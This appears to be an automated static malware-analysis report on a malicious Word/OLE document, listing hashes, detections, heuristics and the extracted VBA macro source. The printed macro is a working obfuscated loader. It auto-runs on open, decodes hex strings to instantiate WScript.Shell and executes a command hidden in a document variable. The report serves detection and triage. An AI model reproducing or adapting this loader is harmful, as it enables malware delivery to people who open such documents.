Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a498e6959f751186…

MALICIOUS

Office (OLE)

69.5 KB Created: 2018-05-22 08:43:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: 5df1e03e883f001d78de9589190ded89 SHA-1: 806b9c31ea8bd16081b95efb396effee2103a67b SHA-256: a498e6959f751186133c38956f89d8df4f073a40ddbcc6c46ed585b736dbd31d
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing heavily obfuscated VBA macros, including auto-executing Workbook_Open and Document_Open subroutines. These macros utilize CreateObject and CallByName to execute code, strongly suggesting the intent to download and run a second-stage payload. The ClamAV detection 'Xls.Malware.Valyria-6700357-0' further supports its malicious nature. The obfuscated nature of the VBA code and the lack of specific indicators for a known family lead to an 'unknown family' classification.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3313 bytes
SHA-256: d443232984fe753d08e80f753f69e2b01c5cc47db2f0cc6867e55eb4f4ce3d73
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function acKETUQRPM() As String
Dim aacKETUQRPM As String
aacKETUQRPM = "79684C723B686868688B83689C689A5968336845686868959C9E45567668A6689168538F3E6834686852356868684668A2685AA26868687668A2686868688B6868A8CC686838686C9052687D38688D6874469468687D4244366848946868687A4868686868683B9D984C564D996848683F684E68966868696894686892A35E9A2B682C6898A66868686868437275682A5581417F73453C96686868686868686868688F7868682A6868684F6848685290776882686D682A6850685B64656843A0683A556868883F686A9D6F806868687B8C3C684F7568687650685A7F83"
acKETUQRPM = aacKETUQRPM
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & LAC_QI("4948525E595D47635C5B544A494E")
End Sub
Public Sub RQE_CGE()
    Dim T_VM As Object: Set T_VM = VBA.CreateObject(LAC_QI("5B5767766D747832576C697070"))
    CallByName T_VM, "Run", VbMethod, LAC_QI(ActiveDocument.Variables("H6GMS1ETQE").Value), 0, True
End Sub
Private Function acS7Y48BKJ() As String
Dim aacS7Y48BKJ As String
aacS7Y48BKJ = "79684C723B686868688B83689C689A5968336845686868959C9E45567668A6689168538F3E6834686852356868684668A2685AA26868687668A2686868688B6868A8CC686838686C9052687D38688D6874469468687D4244366848946868687A4868686868683B9D984C564D996848683F684E68966868696894686892A35E9A2B682C6898A66868686868437275682A5581417F73453C96686868686868686868688F7868682A6868684F6848685290776882686D682A6850685B64656843A0683A556868883F686A9D6F806868687B8C3C684F7568687650685A7F83"
acS7Y48BKJ = aacS7Y48BKJ
End Function

Public Sub Document_Open()
    Application.Run LAC_QI("4948525E595D47635C5B544A494E")
End Sub
Public Function LAC_QI(ByVal T_VM As String)
   Dim VPW_YK As String
   Dim Z_PIV As Long
   For Z_PIV = 1 To Len(T_VM) Step 2
        VPW_YK = VPW_YK & Chr(CLng(Chr(38) & Chr(72) & Mid(T_VM, Z_PIV, 2)) - 4)
   Next
   LAC_QI = VPW_YK
End Function
Private Function acIGQU93BZ() As String
Dim aacIGQU93BZ As String
aacIGQU93BZ = "79684C723B686868688B83689C689A5968336845686868959C9E45567668A6689168538F3E6834686852356868684668A2685AA26868687668A2686868688B6868A8CC686838686C9052687D38688D6874469468687D4244366848946868687A4868686868683B9D984C564D996848683F684E68966868696894686892A35E9A2B682C6898A66868686868437275682A5581417F73453C96686868686868686868688F7868682A6868684F6848685290776882686D682A6850685B64656843A0683A556868883F686A9D6F806868687B8C3C684F7568687650685A7F83"
acIGQU93BZ = aacIGQU93BZ
End Function

Sub EDNZUYC_XWPFEJ()
    RQE_CGE
End Sub
Private Function ac1GF8S0NJ() As String
Dim aac1GF8S0NJ As String
aac1GF8S0NJ = "79684C723B686868688B83689C689A5968336845686868959C9E45567668A6689168538F3E6834686852356868684668A2685AA26868687668A2686868688B6868A8CC686838686C9052687D38688D6874469468687D4244366848946868687A4868686868683B9D984C564D996848683F684E68966868696894686892A35E9A2B682C6898A66868686868437275682A5581417F73453C96686868686868686868688F7868682A6868684F6848685290776882686D682A6850685B64656843A0683A556868883F686A9D6F806868687B8C3C684F7568687650685A7F83"
ac1GF8S0NJ = aac1GF8S0NJ
End Function

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